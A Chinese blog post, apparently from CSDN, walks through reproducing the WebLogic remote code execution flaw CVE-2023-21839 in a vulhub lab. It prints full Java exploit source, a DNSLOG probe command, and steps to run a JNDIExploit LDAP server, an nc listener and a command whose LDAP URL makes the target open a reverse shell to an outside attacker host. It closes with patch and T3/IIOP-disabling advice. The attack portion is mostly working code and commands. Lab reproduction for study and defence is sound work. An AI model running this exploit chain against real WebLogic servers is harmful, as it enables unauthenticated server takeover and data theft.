【漏洞复现】Weblogic 远程代码执行(CVE 2023-21839)

漏洞原理

WebLogic 存在远程代码执行漏洞(CVE-2023-21839/CNVD-2023-04389),由于Weblogic IIOP/T3协议存在缺陷,当IIOP/T3协议开启时,允许未经身份验证的攻击者通过IIOP/T3协议网络访问攻击存在安全风险的WebLogic Server,漏洞利用成功WebLogic Server可能被攻击者接管执行任意命令导致服务器沦陷或者造成严重的敏感数据泄露。

影响版本:

Weblogic_Server 12.2.1.3.0、12.2.1.4.0、14.1.1.0.0

环境搭建:

1.切到 cd /vulhub-master/weblogic/CVE-2018-2894 目录下
2.docker-compose up -d 启动漏洞环境
3.访问:http://your-ip:7001/console
如图所示,即为搭建成功。

搭建环境参考:vulhub docker靶场搭建-CSDN博客

漏洞利用

访问http://127.0.0.1:7001/console/login/LoginForm.jsp,漏洞环境已经起来

注:本次目的就是反弹漏洞靶场服务器A的shell

利用方式

DNSLOG探测

EXP链接:https://github.com/DXask88MA/Weblogic-CVE-2023-21839(jar包形式)

源码poc:

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.lang.reflect.Field;
import java.util.Hashtable;
import java.util.Random;

public class CVE_2023_21839 {
    static String JNDI_FACTORY="weblogic.jndi.WLInitialContextFactory";
    static String HOW_TO_USE="[*]java -jar 目标ip:端口 ldap地址\ne.g. java -jar 192.168.220.129:7001 ldap://192.168.31.58:1389/Basic/ReverseShell/192.168.220.129/1111";

    private static InitialContext getInitialContext(String url)throws NamingException
    {
        Hashtable<String,String> env = new Hashtable<String,String>();
        env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
        env.put(Context.PROVIDER_URL, url);
        return new InitialContext(env);
    }
    public static void main(String args[]) throws Exception {
        if(args.length <2){
            System.out.println(HOW_TO_USE);
            System.exit(0);
        }
        String t3Url = args[0];
        String ldapUrl = args[1];
        InitialContext c=getInitialContext("t3://"+t3Url);
        Hashtable<String,String> env = new Hashtable<String,String>();
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
        weblogic.deployment.jms.ForeignOpaqueReference f=new weblogic.deployment.jms.ForeignOpaqueReference();
        Field jndiEnvironment=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");
        jndiEnvironment.setAccessible(true);
        jndiEnvironment.set(f,env);
        Field remoteJNDIName=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");
        remoteJNDIName.setAccessible(true);
        remoteJNDIName.set(f,ldapUrl);
        String bindName = new Random(System.currentTimeMillis()).nextLong()+"";
        try{
            c.bind(bindName,f);
            c.lookup(bindName);
        }catch(Exception e){ }

    }
}

(1)使用攻击机B 执行exp脚本攻击靶场A, 执行exp需要java 1.8的环境,我用的kali2021

(2)需要先卸载源jdk11,在安装jdk1.8

参考:https://www.yuque.com/u2114382/odrch9/uhac2mnslbctxpwd
 

(3)攻击机执行以下命令后,刷新dnslog即可

java -jar Weblogic-CVE-2023-21839.jar 靶场ip:7001 ldap:// kejajb.dnslog.cn

反弹shell

(1)首先需要使用JNDIExploit-1.4-SNAPSHOT.jar工具启动ladp服务

下载链接:https://github.com/WhiteHSBG/JNDIExploit

(2)下载后需要在服务器C搭建ldap服务,其实就是启动上边那个jar包

java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 服务器Cip

(3)启动完成后还需进行端口监听,服务器C直接启动nc进行监听

(4)此时使用攻击机B执行exp

java -jar Weblogic-CVE-2023-21839.jar 靶场 IP:7001 ldap://ldap服务器IP:1389/Basic/ReverseShell/ldap服务器IP/nc监听端口

5)此时查看ldap服务器C,成功反弹shell

修复建议

目前厂商已发布升级补丁以修复漏洞,补丁获取链接:

缓解方式禁用 T3 及 IIOP

补丁下载链接:

https://support.oracle.com/rs?type=doc&id=2917213.2

  • 12
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

nuc_ddddsj

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值